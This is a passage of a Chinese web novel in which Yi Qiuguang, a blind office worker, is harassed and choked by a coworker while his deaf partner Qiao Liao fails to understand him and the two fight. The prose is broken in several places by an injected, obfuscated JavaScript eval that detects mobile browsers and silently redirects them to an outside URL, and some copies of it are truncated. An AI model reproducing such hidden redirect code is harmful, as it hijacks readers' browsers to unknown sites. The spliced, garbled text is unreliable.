终于,他们走到出租屋楼下,上楼梯时,乔辽还是牵着他,易秋光打开盲杖,慢慢碰着台阶往上走。 然后,他们走到屋门口,乔辽打开了门。 淋雨好难受,还是先吃药,然后洗个澡比较好,易秋光进了门,走到桌边站着,他在桌上摸了摸,也没摸到感冒药被放在哪里。 他想着问问乔辽,但这人怎么半天都没进门。 易秋光回过头,朝着乔辽的方向歪了歪头,他想问乔辽,你怎么还不进来,站在外面干什么呢,是想挨打吗? 要不是看在乔辽今天心情不好的份上,易秋光肯定会打这人一顿。 哎算了,淋雨而已,乔辽都烦成这样了,自己也帮不上什么。 易秋光想着,等下次有机会碰到郭宝卓,他一定要问问,乔辽是不是碰到什么麻烦事了,心情不好的原因到底是什么,要是有什么他能帮上的,那他肯定不含糊。 等乔辽终于走进来的时候,易秋光后背的衣服都贴在身上了,窗外吹进来的风也弄得他总想咳嗽。 他望着乔辽的方向,伸手指了指浴室,意思是:我先去洗个澡。 接着,他听见了脚步声,然后是锅铲轻碰的声音,估计乔辽是要做饭了。 易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140584|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋光点了点头,然后从收纳箱里拿出一套衣服,进了浴室,关上门。 估计是感冒变得厉害,也可能是他今天本来就心烦,打开花洒淋到水的那一刻,易秋光心底闷得不行。 他今天在公司里被佟舟这个傻逼气了一天,回来路上还被雨淋了一通。 说实话,易秋光是有点委屈在心里的,但他也知道,自己没办法和乔辽沟通,谁不会有委屈啊,谁都会有。 同样地,乔辽要是碰到了烦心事,他也没办法帮上乔辽的忙。 关心和陪伴是感情里需要的,沟通和吐槽也是感情里不可缺的。 但这些,乔辽做不到,他也做不到。 想到这里,易秋光弯下腰,摸索着洗发水的位置,接着挤出一点,可当他直起身子时,那点洗发水应该是从指缝滑出去了一些。 掉在哪儿了?易秋光站在那儿不敢动了,他又看不见,要是一脚踩上去,滑倒了就完蛋了。 可他总不能一直站在那里,手里还有点洗发水没用,澡都没洗完,花洒也不能像这样一直出水,那不是浪费水吗。 洗吧,早点洗好,早点出去吃饭。 可他刚迈出一步,还是很小的一步,脚下突然一滑,易秋光摔倒在地上。 最先落地的是膝盖,然后是双手,最后是脑袋,在墙上撞得一响。 好疼,这一下撞得这么响,不会把脑袋撞坏吧,他会不会变傻啊。 易秋光想站起来,但他试了好几次,总是站不起来。 膝盖实在是太疼了,地面还滑。 好委屈。 突然就很想哭,但他哭了又能怎么样,乔辽根本就听不见。 那他就出去哭,当着乔辽的面哭,可他现在又站不起来。 花洒还在不停出水,易秋光想着,反正也起不来,那就先把澡洗完吧。 但这个澡真是越洗越委屈,他哭一会儿就洗把脸,最后边哭边说:“烦死了,我怎么就是看不见呢……” 这个澡洗得慢,用的时间长,易秋光哭得累,心情也不好,他连头发都不想擦了,手疼,不想擦。 易秋光抱着换下来的衣服,走出浴室,他的头发还在不停滴着水,刚换上的衣服也都被打湿了。 在听见乔辽的脚步声后,那种想哭的感觉又出现了。 易秋光朝乔辽伸出手,这人牵着他,走到床边坐下,乔辽把他怀里的衣服拿走,接着就开始给他吹头发。 吹风机好吵,膝盖好疼,鼻子也开始发酸。 易秋光低着头不敢让乔辽看自己,他努力忍着,但情绪还是很难忍住,就和腿上传来的疼痛一样。 他把手放在膝盖上,轻轻压一压。 易秋光想着,别疼了,早点好起来吧,感冒好难受,我今天还想早点休息,明天还要去上班的。 摔倒这件事,易秋光没打算给乔辽说。 他有很多事情都没给乔辽说,因为那些事都是说不明白的。 他的确需要乔辽安慰,但人嘛,得到一点就想要更多。 乔辽一旦开始安慰,他就想把这段时间的委屈一股脑儿地全说出去,可这样不行,他不知道那些事应该怎么说,也不知道乔辽会不会理解错误。 要是真的理解错意思,那就是给乔辽添麻烦了。 有的事情,自己憋着就行,没必要带着爱人一起彻夜难眠。 大概是他的情绪太过明显,乔辽最终还是发现了。 易秋光放在膝盖上的双手被乔辽点了点,这一个动作,简直快让易秋光崩溃。 也不知道现在的自己,脸上是什么表情,应该不会吓到乔辽吧。 易秋光扯出一个笑,他想告诉乔辽,我没事。 下一秒,乔辽抬手摸了摸他的脸,接着拿开他放在膝盖上的手,帮他卷起裤子。 膝盖真的受伤了吗,严不严重,乔辽会担心吧。 对不起啊乔辽,我不是故意的。 真的不是。 怪我看不见,怪地太滑。 怪我没用。 51. 味道 乔辽帮易秋光处理完伤口,接着就坐在他边上,慢慢喂着饭。 易秋光刚开始还推了两下,他都这么大的人了,吃饭没必要喂。 但乔辽挺坚持的,只要易秋光一推他,这人就往边上让,最后,乔辽干脆把易秋光的手压到屁股底下坐着。 算了……想喂就喂吧。 毕竟这人爱哭,还总躲起来哭,易秋光每次都听见了,可当他慢慢找过去的时候,乔辽又会当作无事发生一样。 有人给自己喂饭吃,其实是一件挺好的事。 但乔辽这一口饭喂得太快,筷子直接怼在他口腔里,戳得生疼。 易秋光一巴掌拍了过去,乔辽你是不是不会喂饭! 乔辽现在也老实了,主动把碗和筷子递了过去,但这人非常会找机会,时不时就往易秋光嘴里喂一勺汤。 就这么吃了大半碗饭,易秋光都已经撑得不行了,但他想着,反正碗里也没剩多少了,赶紧吃完得了。 反正吃完了还要去散步,诶不对……今天下雨了,应该不会出去,他又刚摔了腿,乔辽估计就更不会带他出去了。 终于,手里那碗饭吃完了,易秋光坐在那里听着乔辽洗碗筷的声音,接着就是浴室响起水声。 听着水声,易秋光只觉得脑袋昏昏沉沉的,困得不行。 也不知道乔辽把感冒药放到哪儿了,他在桌上又摸了好一会儿,最后还是没找到。 腿疼,头更疼,易秋光决定去睡觉。 他是侧着身子睡的,等会儿乔辽来睡觉时,可以直接把他抱进怀里,想到这里,易秋光又开始委屈了。 也不知道为什么,这段时间,他的情绪总是起伏不定,明明以前不是这样的。 这段时间的乔辽似乎也不太好。 这人坐在桌前不停写着什么,易秋光只听见笔尖划在纸上发出的沙沙声,这种声音其实挺助眠的,可他却怎么睡都睡不踏实。 易秋光想着,乔辽应该是碰到了很难解决的事,但这事就难办成这样吗,难到乔辽都不愿意搭理他一下。 早上迷迷糊糊醒来时,易秋光最先听见的就是楼下的自行车声,还有各种吆喝声,他们住的出租屋在老城区,有的路上都没有盲道,但这边还挺热闹的,易秋光每天都能听见好多声音。 他起床的时候往身边摸了摸,乔辽似乎还在睡着,这人一整夜都没有抱他,睡觉的时候也没有牵他的手…… 算了,易秋光想着,让乔辽睡吧。 他自己去上班就好了。 去公司的路上,他走得挺困难的,虽说他已经在这条路上走过无数次,但每次碰到的状况都是无法提前预知的。 今天没人送他,也没人给他买早饭。 听着身边的声音,易秋光估计着应该快要走到公司,他准备找个地方先买点早饭吃,可比早饭先来的,是佟舟。 这人先是喊了一声“秋光”,然后问他:“你吃早饭了吗?” “吃了。”易秋光说完就往公司方向走,但佟舟还是一直跟着他。 跟着就跟着吧,反正这人也是去上班的。 可下一秒,易秋光听见了乔辽的脚步声。 他猛地停下,仔细听着。 乔辽来了吗?他是不是担心自己,所以想着还是过来看一看。 好饿啊乔辽,你帮我买份早饭吧,这附近有什么吃的,你随便买点什么都行,只要是你买的,那就肯定好吃,就是可惜了,我感冒还没好,尝不出来什么味道,闻也闻不出什么。 脚步声走到他身边停下,易秋光犹豫着伸出手。 身边人牵住了他,带着他往前走了两步,然后,易秋光听见了佟舟的声音。 “秋光,”佟舟说,“你好主动啊。” 头皮都在发麻,恐惧感包裹着易秋光。 他一把甩开佟舟的手,大吼着:“你他妈是不是有病!” “哎哟你别生气啊,是你先伸手的,不是我逼着你和我牵手的啊,”佟舟的语气中都是笑意,但这笑,肯定很恶心,“我没有拒绝你,还愿意和你牵手,你怎么还反过来骂我呢,秋光……你这样让我好伤心。” “别说这种恶心话,”易秋光握紧手中的盲杖,沉着声音说,“你以后要是再这样,我真的会打你。” “是吗,”佟舟还是在笑着,“你别这么凶,我会害怕的。” 怕个屁,这人根本就不会害怕。 从那天开始,佟舟确实没再对他动手动脚,但这人还是会学着他的步子,在他身边不停地出现。 易秋光都怀疑自己快疯了。 他常常会恍惚,那道脚步声,到底是乔辽还是佟舟。 这种想法持续了好久好久,久到易秋光都开始害怕上班了。 但生活还得继续,他想着,再忍一忍,反正他和乔辽已经快要去江城了。 时间就这么往前又走了几天,郭宝卓突然去了他们出租屋一趟。 “我要走了。”这是郭宝卓说的第一句话。 “我刚发了工资,”易秋光说,“你要是不着急的话,我们三个一起去吃顿饭,吃顿好的,你还能和乔辽多聊几句。” “不吃了,等你们以后去了江城,我请你们吃,”郭宝卓说,“我给你们买了车票,发车时间是十二月最后一天,凌晨那趟,你和乔辽记得提前去车站,到了车站就拿身份证去取票,一定要看好车票上面的信息啊,你们也不用去太早,提前一个半小时到车站就行。” 易秋光点点头,说道:“行,我记住了。” 郭宝卓明显不太相信,在走之前,这人又把这件事说了无数次,易秋光每次都耐着性子说:“好,我真的记住了,我真的真的真的记住了。” “那就好,”郭宝卓说,“我不在的这段时间,你和乔辽都要好好的啊,遇事别打架,忍一下,等你们到时候来了江城,我来帮你们翻译,你和乔辽关系这么好,打架太伤感情了,打完架身上还疼,你说对不对。” “不会打的,”易秋光说,“我脾气好着呢。” 郭宝卓沉默一会儿,说道:“嗯,是挺好的。” 之后,郭宝卓真的去了江城。 易秋光知道的,郭宝卓肯定会走,他从没觉得郭宝卓是在开玩笑。 他只是觉得时间太快,一下子他们就长大了,又很突然地,各奔东西。 不过也没事,反正乔辽还在他身边,他们也快要去江城了。 这也不算什么各奔东西吧,只能说是有了新的生活,有的新的奔头,就是未来的一切,都有些太空了。 空到易秋光无法想象。 郭宝卓走的那天,他和乔辽没有去送,因为他们都要上班,但那天晚上,易秋光也是突然意识到,接下来的日子,他和乔辽的沟通会变得更加困难了。 另外一件更加困难的事,就是佟舟的神经病根本没有好,但这人的实习期过了。 易秋光干脆把林再川这个麻烦事交给了佟舟。 现在好了,心里舒服一点了,但也只有一点。 易秋光安慰自己,没事的,再坚持一下,去了江城就一切都好了,到了那个时候,他就再也不会遇到佟舟了。 心情不好的结果,就是什么情绪都摆在脸上。 乔辽每次都会拿着那支录音笔一直问他“你还好吗”。 这支录音笔里的声音是郭宝卓的。 太吵了,好烦。 易秋光每次听见录音笔发出的声音,就不知道应该怎么回答,工作上的麻烦事该怎么说呢,他不知道。 他每天都想把那些事告诉乔辽,可他想了好几种办法,没有一种是可行的。 第一种办法,写字给乔辽看。 他写的字不太好看,每个字都歪七扭八的,写出来还看不懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140585|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,根本就算不上是个字,这些话,是福利院的听障小朋友看完后比画出来,最后由老师转达给易秋光的。 第二种办法,比画给乔辽看。 易秋光在福利院和几个小朋友学了手语,但他看不见,学得也慢,最主要他还总忘,学完就跟没学一样。 第三种办法,用触觉手语和乔辽沟通。 这种方法也是易秋光在福利院里学的。 他有时候会在休息日去福利院,给那些视障小朋友讲盲文绘本,讲完后还会陪着他们玩一会儿,其中有一个小朋友是视听双障碍。 福利院的老师告诉易秋光,和这个小朋友相处时只能通过触碰沟通。 易秋光当时就觉得,这样的沟通,不就是他和乔辽的日常吗。 但在老师教完之后,易秋光又不这样认为了,因为他和乔辽的触碰太生活化,那是他们在相处中摸索出的沟通,这种沟通,也只有他们会懂。 触觉手语就挺不一样的。 老师告诉易秋光,想要表达生气的时候,就把手指拢起来,然后放在对方大腿上用力抓,有多生气就用多大力。 易秋光还嫌这种方法费事,都生气了,还有什么好抓的,直接扬起盲杖去打不就完了。 所以啊,这种办法还是不好用。 人和人沟通是一件复杂的事,视障和听障想要沟通是一件难事。 但对易秋光而言,还有一件更难的事。 那就是让佟舟闭嘴。 那天的洪城挺冷的,外面风还大,快要下班的时候,领导又临时开了个会,本来上班就烦,加班就更烦了。 最要命的是,只要领导问一句“还有什么不懂的吗”,那个死佟舟就会立马抢答:“我还有个问题想问一下。” 佟舟,你是大傻逼吗,你每天上班都在干什么,在对着空气发呆吗,你哪来这么多问题啊,你快闭嘴啊,我急着下班! 但这人完全没有要闭嘴的意思,这个会愣是开了一个小时。 易秋光急得不行,外面那么冷,乔辽还等了那么久,要是被冻感冒就完了。 他急匆匆地往公司门口走,还没走多远,身后就传来一阵脚步声,这声音听着还挺着急的。 紧接着,易秋光就听见佟舟喊了他一声:“秋光。” 易秋光没搭理他,佟舟现在已经走到他边上了,这人用胳膊肘碰了碰易秋光,说道:“你脸色怎么这么难看啊。” 能不难看吗,你个大傻逼,要说话就好好说话,一天不动手动脚就要死了吗。 还是沉默吧,易秋光只要一开口,这人肯定又要一直逼逼叨叨,太吵,太烦。 “你别板着一张脸,”佟舟说,“我看见你男朋友了,就在公司门口,他肯定是看见你脸上的表情了,这人现在的表情也挺不好看的,看着情绪好大,好像还挺犯愁的。” 这句话一出来,易秋光先是愣了一下,接着露出一个笑。 易秋光说:“我知道了。” “现在就对了,多笑笑嘛,别让你男朋友担心,”下一秒,佟舟突然“哎哟”一声,“他怎么走了啊。” “走了?”易秋光问佟舟,“他往哪边走了?” 佟舟压根没回答这句话,这人脚下的步子也变了,易秋光偏头望向这人的方向,说道:“你到底想干什么?” “啊?你怎么突然说这种话,”佟舟笑着说,“我什么都没干啊,你是不是对我有什么误会啊。” 易秋光深吸口气,继续往外走,走出公司后,一阵风吹了过来,这阵风吹得他脸上冰凉。 但在这阵风里,有乔辽的味道。 “佟舟,”易秋光对佟舟说,“别再骗我了,我脾气不好,是真的会弄死你的。” 紧接着,易秋光朝前方伸出手,然后,他牵住了乔辽。 走吧乔辽,就像这样,牵着我的手,往前走吧。 52. 宇宙 距离跨年夜还有一周,易秋光心里其实还是挺兴奋的,虽说去江城之后的事都是未知的,心底难免会有点紧张,但他只要一想到是和乔辽一起去,心里那点紧张就会一瞬间变成期待。 最近的天气也是太冷了,易秋光坐在那里忙活工作,手都是冰凉的,从前几天开始,他就有点快要感冒的感觉,上班的时候也觉得有些晕晕乎乎的。 易秋光在今天给领导提了辞职的事,一切都还算顺利,但领导说,他还有工作没有处理完,这几天需要和同事交接一下。 那个和他交接工作的同事,就是佟舟。 易秋光挺不愿意的,但他都要离职了,肯定还是希望自己手头的工作能够好好收个尾。 但这件事,比他想象中更难搞。 佟舟简直是来混日子的,一问三不知,做什么事情都要问好几次,易秋光都怀疑这人根本没带脑子来上班。 在公司待了这么长时间,这人到底是怎么一天天混下来的。 中午吃饭的时候,佟舟又坐到他边上,这人一开口就是问工作,面对这些问题,易秋光还是会好好回答的。 但下一秒,他听见了其他同事的声音。 “哎哟我们公司里要少个人咯,再过几天就没热闹看咯。”这个同事刚说完。 另一个同事又说道:“什么热闹啊,你说谁啊?” “就是那个眼睛不方便的同事呗,他在公司里待了这么久,整天就往那儿一坐,谁都不搭理,搞得就跟他多厉害似的。”这人的语气听着非常差。 但易秋光懒得和这人计较,随便这些人怎么说,他无所谓。 可那个同事的下一句,彻底让易秋光烦躁起来。 “他不是看不见吗,他男朋友就专门戴上一条铃铛手链,每天来接他的时候都是叮呤当啷的,”同事大笑着,“真他妈和狗一样。” “你他妈再说一遍!”易秋光站了起来,这也是他第一次在公司发脾气。 “我说你了吗,你哪只耳朵听见我是在说你啊,”同事的声音比易秋光还大,“再说了,我说得有错吗,天天戴个铃铛手链走来走去的,不是狗是什么!” “你真的听见了?”易秋光打开盲杖,往那个同事的方向走过去,“他那条手链上面的铃铛,根本就不会响。” 紧接着,易秋光扬起盲杖。 忍了很久了,他忍这一群傻逼很久了。 反正也要离职了,现在就算是被开除也无所谓,易秋光一边打一边骂,最后他说:“我是看不见,但我能听见,你们每个人的声音我都记得,你们的声音都太难听了,人肯定也长得不怎么样,又丑又傻逼。” 这件事结束,易秋光也不用交接工作了,领导让他下午先别来了,在今天下班之前回公司,把离职手续办了就行。 易秋光当时“嗯”了声,拿上盲杖转身出了公司。 心里一下子就轻松不少,从明天开始,他就再也不会遇到佟舟了,林再川那个碎嘴子也遇不到了。 挺好的,简直是太好了。 易秋光想着,反正现在时间还早,正好可以去福利院一趟,他也有段时间没和老师聊聊天了。 正好可以说一下自己要去江城的事,还可以和小朋友们玩一会儿,然后告诉他们,只要自己有时间,肯定还会回来的。 易秋光在马路边拦了一辆出租车,没过多久就到了福利院。 他刚走进福利院大门,就碰上一个视障小朋友,这孩子冲他笑着,问道:“是小易哥哥吗?” “对啊,”易秋光抬手揉了揉他的头发,说道,“我回来看看你们。” “我昨天都梦到你了,”小孩儿的语气听着委屈巴巴的,“我梦到你给我讲故事了,但你讲完一个就不讲了,我让你再讲一个吧,我好想听啊,但你说来不及了,你要去上班,没空给我讲故事了。” “我今天就给你讲,”易秋光笑着牵上他的手,“但在讲故事之前,你先带我去找一下老师吧,哥哥不知道老师在哪儿。” 小孩儿说了声“好”,带着易秋光往前走。 走到半路的时候,这孩子还往易秋光手里放了个东西。 易秋光拿着捏了捏,问他:“这是什么?我没摸出来。” “是糖啊,专门给你留的,”小孩儿说,“我给你留了好久,你总是不回来,还好现在天气冷,糖不会化掉。” “谢谢你,”易秋光捏了捏这颗糖,慢慢打开糖纸喂进嘴里,笑着说道,“好甜啊,真的很好吃,这是我吃过最好吃的糖了。” “是吧!我就说这个糖很好吃,”小孩儿高兴得不行,连忙又说,“如果下次还有这种糖吃,我就再给你留着,但你要早点回来啊,要是你再这么久不回来,那我就不给你留了,让你再也吃不到这么好吃的糖。” “哎哟还会吓唬我了,”易秋光又在他头发上搓了搓,“哥哥知道了,下次一定早点回来。” 小孩儿高兴地牵着易秋光的手晃了晃,他们又往前走了几步后,易秋光听见了老师的声音。 老师笑着说:“秋光回来了啊,外面冷得很,你快去坐会儿,屋里开了空调,坐会儿就不冷了。” “外面还好,不太冷,我围了围巾呢,”易秋光带着小孩儿坐到椅子上,接着对老师说道,“我这次回来,是想给您说一声,我过几天就要去江城了,准备去那边工作。” “跑那么远啊,”老师“哎哟”一声,“你和谁去啊?工作安排好了吗,住的地方定下没?” “我和乔辽一起去,郭宝卓也在江城,工作还没定下来,住的地方也还没找,”易秋光笑了笑,“您别担心,江城也不是很远,我要是过得不开心,立马就回来了。” “哥哥……”身边坐着的小孩儿开始闹了,你刚刚才答应我要早点回来的,现在怎么又说要走啊,江城在哪里?过去要多久啊,我走路能走过去吗?” 易秋光在心底叹出一口气,哄着身边的小孩儿说:“不远,但你走着去不行,要坐车的,而且我也不是去了就不回来了啊,哥哥是去上班的,等我挣到钱了,就回来给你买好吃的,哥哥不骗你。” 小孩儿不说话了,就闷在那里坐着,老师也是没了办法,哄了好几句都没得到回应。 过了一会儿后,老师突然喊了易秋光一声:“秋光啊。” “嗯,”易秋光问,“怎么了?” “你最近有空吗?”老师说,“要是有空的话,能不能回来住几天?” 易秋光刚准备问,是不是有什么事情需要帮忙。 老师紧接着又说出下一句:“我们这里前两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老师带着他在福利院里走了走,半路上还给易秋光拿来两个橘子,易秋光边走边吃,边吃边想,最后,老师带着易秋光去找那些小孩儿,那些孩子一听见易秋光的声音先是一愣,接着就是一声又一声的“哥哥”。 易秋光摸完这个小孩儿的头发,又去揉另一个小孩儿的头发,他坐在那里给这些孩子们讲了好几本盲文绘本,讲累了就和他们聊聊天。 聊着聊着,易秋光突然问了句:“你们说,我到底长什么样啊。” “不知道啊,我们又看不见,”其中一个小孩儿说,“但我觉得,你应该就是电视里说的那种大帅哥。” “是吗,”易秋光乐了起来,“有多帅啊?” “超级无敌帅,”另一个小孩儿猛地一拍桌子,盲文绘本也从桌面掉到地上,“宇宙第一帅!” 易秋光问他:“为什么不是世界第一帅?” “小易哥哥,你好笨啊,”离他最近的那个小孩儿说,“当然是因为宇宙最大啊,宇宙是超级大超级大的。” 易秋光心里美得不行。 乔辽!!!你小子占大便宜了! 我是全宇宙最帅的! 全宇宙最帅的人,最最最爱你了。 我好爱你啊乔辽,超爱你。 53. 手心 准备从福利院离开时,那些小孩儿念叨了好久,一会儿说舍不得,一会儿又让易秋光就在这里住着。 小孩儿拉着他的衣服不肯放手,弄得易秋光也开始难过起来,最后还是易秋光再三保证明天一定会来,这些小孩儿才终于松开手,对他说道:“那你明天要早点来。” “一定的,”易秋光说,“我一睡醒就立马过来。” 走出福利院后,全宇宙最帅的易秋光又开始烦了。 因为他现在要回公司。 时间也不早了,易秋光还是选择坐个出租车回去,当他下车的时候,第一个传进耳朵里的声音,是佟舟喊了他一声“秋光”。 易秋光没搭理他,直接从这人边上走过,进了公司。 佟舟也跟着他一起往前走,这人一边走一边说:“你真的要辞职啊,怎么这么突然?” “不突然。”易秋光只说了这么一句。 “这还不突然啊,我还以为能和你当一辈子同事呢,”佟舟往他边上靠了靠,挨上易秋光肩膀,“遇见一个好同事多难啊,我好不容易才遇见你的。” 易秋光已经懒得搭理这人了,他选择直接去办离职,等一切都结束之后,乔辽也会来接他了。 想法是好的,但很多事情是无法预知的。 在易秋光办完离职手续之后,他的心情都好了不少。 再有几步就要走出公司门,一阵脚步声突然出现在他身后。 这种脚步声,是他自己的,也是乔辽的,还有可能是佟舟的。 易秋光下意识想要加快步子,但身后那个人一把拉住他,这种动作,甚至可以说是连拖带拽。 这个动作太突然了,易秋光都来不及反应,再然后,他就闻到了厕所的味道,听见厕所门被打开的声音。 这人一把将他推进去,易秋光的后背和脑袋直接撞上墙,撞出一声闷响,撞得他都有些头晕。 他拧着眉,扬起手中的盲杖,那种熟悉的脚步声又出现了,厕所门也被关上。 易秋光紧握住手中的盲杖,胡乱挥着,他有几次打到了那个人,但那人一直都不说话,就跟感觉不到疼一样。 紧接着,他的盲杖被拽住。 这人往前走了几步,猛地拽住易秋光的围巾。 围巾瞬间收紧,他难受得快要说不出话。 下一秒,这人加大了拉拽围巾的力度,松开拽住盲杖的手,这只手,轻抚上易秋光的脸,然后又在他的唇角碰了碰。 易秋光难受得不行,他都怀疑自己快要交代在这里了。 这种感觉挺难受的,他想抬腿去踹,但浑身使不上劲,只觉得大脑都开始缺氧,手里的盲杖也快要拿不稳。 恍惚中,他听见外面好像有脚步声,终于,这人松开了手,打开厕所门走了出去。 易秋光瞬间蹲下身子,不停干呕,大脑的眩晕让他的手脚都开始发麻,他抬起手扯了几下围巾,但那种难受的感觉并没有得到缓解。 外面的脚步声越来越多,现在应该是下班的时间了。 易秋光撑着墙站起身,身体的不适感让他再次干呕几下,站在原地缓了好一会儿后,他终于往前迈了一步。 现在的他,已经没办法去认真听周围的声音了,易秋光只剩下一个念头,那就是快点去找乔辽。 他想回去。 他想让乔辽快点牵上他,带着他回到那间出租屋。 可今天的乔辽,好像没那么温柔了。 易秋光的手腕被他拽得紧紧的,这种感觉,让他有些害怕。 这种害怕让他停下步子,易秋光甩开他的手,指了指自己的手腕。 我好疼,你别拽我这么紧。 易秋光都不知道,现在的自己……脸上到底是什么表情? 他以前听福利院的老师说,听障都是靠表情去判断对方的心情,那他现在的表情是什么样,乔辽能看出他在害怕吗。 大概是没有。 可能没有。 因为乔辽拍了拍他的后背,然后握住他的手腕捏了捏,接着又轻轻吹了吹。 为什么不是一个拥抱呢,我现在只想让你抱抱我。 我什么都不要。 只要你抱着我。 紧接着,乔辽碰了碰他的眉毛,然后就是嘴角。 什么意思? 是问他想不想吃饭吗,还是在让他别皱眉头,笑一个。 可他现在不想吃饭,也不想笑。 易秋光摇了摇头,下一秒,乔辽在他手心画出屋顶的一角。 回出租屋吗,好。 易秋光点头了,快点回去吧,我只想回去。 我想回家,那个只有我们两个人的家。 这一路上,易秋光都觉得难受,他总是会反复想起刚才在厕所里发生的事情,当他们走到出租屋门口时,乔辽突然碰了碰他的围巾。 这个动作,让易秋光瞬间紧张起来,他下意识地抬手,一巴掌将乔辽的手拍开。 但下一秒,他就后悔了。 这个人是乔辽啊……他为什么会成这样,怎么会恍惚到认不清身边的人到底是谁。 几秒后,易秋光摸索着敲了敲门。 快点开门吧,我想早点洗澡去床上躺着,然后抱着你好好睡一觉。 可等他洗完了澡,躺到床上之后,乔辽也没有要去洗澡睡觉的意思,这人好像一直站在床边,也不知道是在想些什么。 终于,乔辽坐到了床边,易秋光心底那种委屈一瞬间就被放大。 他翻了个身,摸索着握住乔辽的手。 易秋光在他掌心写着:我今天在公司真的好害怕,那个人肯定是佟舟,佟舟你还记得吗,他把我拉进厕所里面,他到底想干什么啊。 乔辽懂了吗,乔辽懂了没。 下一秒,乔辽在他胳膊上画了个问号。 是他写得太快了,肯定是。 易秋光放慢速度,继续在他手心写着:我今天被佟舟拉进厕所里面了,他拽我的盲杖,还扯我的围巾,我真的好害怕,我敢肯定,那个人绝对是佟舟。 乔辽没有回应,易秋光干脆继续写着:我今天辞职了,明天要去福利院,我想在福利院多待几天,你到时候去接我,好不好? 身边人没有回应,是没看懂吗,是他写的字太难看了吗。 但易秋光已经够努力了,每一笔一画,他都好好地写出来了,乔辽真的一个字都没看懂吗? 那种快要无法呼吸的感觉又出现了,易秋光都怀疑自己快要疯了,紧接着,乔辽打断了他,把手也拿开了。 易秋光紧了紧拳,再然后,他听见了郭宝卓的声音。 乔辽在播放录音笔里的录音。 你还好吗?你怎么了?你怎么了?你还好吗?你还好吗?你还好吗?你还好吗?你怎么了? 我操! 易秋光一巴掌拍掉录音笔,猛地抓过他的手,在他手心写着:佟舟欺负我,他欺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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易秋光感觉自己真的快要疯了,他已经很努力地去和乔辽沟通了,但他办不到,他做出的一切都是徒劳。 真他妈想和乔辽打一架。 这个念头刚出现,易秋光就下了床,他拿起盲杖挥了过去。 乔辽还手了。 一点都没有要让着他的意思。 这一架打得易秋光好累,他满脑子都只剩下一个问题。 乔辽,你到底爱不爱我? 在这场架结束的时候,易秋光也笑了,他开口对乔辽说:“乔辽,你打得这么用力,是很恨我吗,你不爱我吗,你为什么不明白我的意思,我很疼啊……我真的很疼。” 我真的很疼,后背和头撞到墙上会疼,被围巾勒住脖子会疼。 但现在最疼的,是你打在我身上的每一拳。 这一夜,易秋光都睡不着,他一闭眼就会害怕,就算是听着身边人的呼吸声,也还是会怕到浑身发冷。 易秋光就这么一直躺着,一动不动。 也不知道时间过了多久,外面的声音也变得多了起来,易秋光估计着,现在应该已经天亮了。 他起了床,开始收东西。 收拾着属于自己的所有东西。 反正他要去江城,早收晚收都得收拾,早点收拾好也省事了,免得到时候麻烦乔辽。 他的东西本来也不多,一个旅行袋就够了,易秋光想着,剩下的几天,干脆就在福利院住着。 他在乔辽手心写过了,乔辽应该……乔辽真的明白了吗? 乔辽应该,明白了吧。 就算没明白,乔辽也肯定知道他在哪儿。 乔辽一定会去福利院接他,然后,他们会一起去江城。 开始新的生活。 54. 秋光 一定会吗? 一定吗? 不一定吧。 易秋光在福利院待了好几天,乔辽都没有来找他。 距离去江城的日子还有一天,易秋光彻底失眠,房间里开着空调,身上盖着老师刚给的新被子,软乎乎的,被套上还有一股刚洗过的香味。 在这种气味里,他应该能有一个很好的睡眠,可他睡不着,满脑子都是乔辽怎么还不来。 终于,他熬到了天亮,这一夜过去,他的感冒也变得严重,本来还只是有些晕乎,喉咙有点难受,现在突然就成了鼻塞加头痛。 易秋光去吃了早饭,又陪着小朋友们玩了一会儿,再然后,他就一直在福利院里等着。 等着乔辽来接他。 行李早就收好了,直接提上就能走,他也换好了衣服,只要乔辽过来找他,他们就能马上出发。 可乔辽来得好慢,易秋光也不想再继续像这样等着了。 他给老师打了招呼,说自己准备走了,等以后有空了,肯定还会回来的。 老师还是挺担心的,给易秋光说了好多话,什么要照顾好自己啊,一定要记得吃饭啊,工作要是太累了就休息。 易秋光笑着说:“我都长这么大了,别太担心我了,放心,再说了,也不是我一个人去,是乔辽和我一起去,江城还有郭宝卓呢,真的没事。” “我知道,但我和他们不熟啊,我只能让你好好照顾自己,”老师叹出一口气说道,“你小时候就只和他们玩,但你们毕竟不在同一个福利院,能在一起玩的机会也不多,后来你们去了同一所学校,我也跟着放心不少,当时我就想着,你终于不会再一个人待着了……但你去江城这事儿,我一想到就觉得心里不踏实,你这孩子心里太能藏事了,有什么事都不说,我怎么可能放心啊……” 老师说完后,在易秋光肩膀上轻轻拍了两下,说道:“你等我一下,我去拿个东西。” 易秋光说了声“好”,站在原地等着。 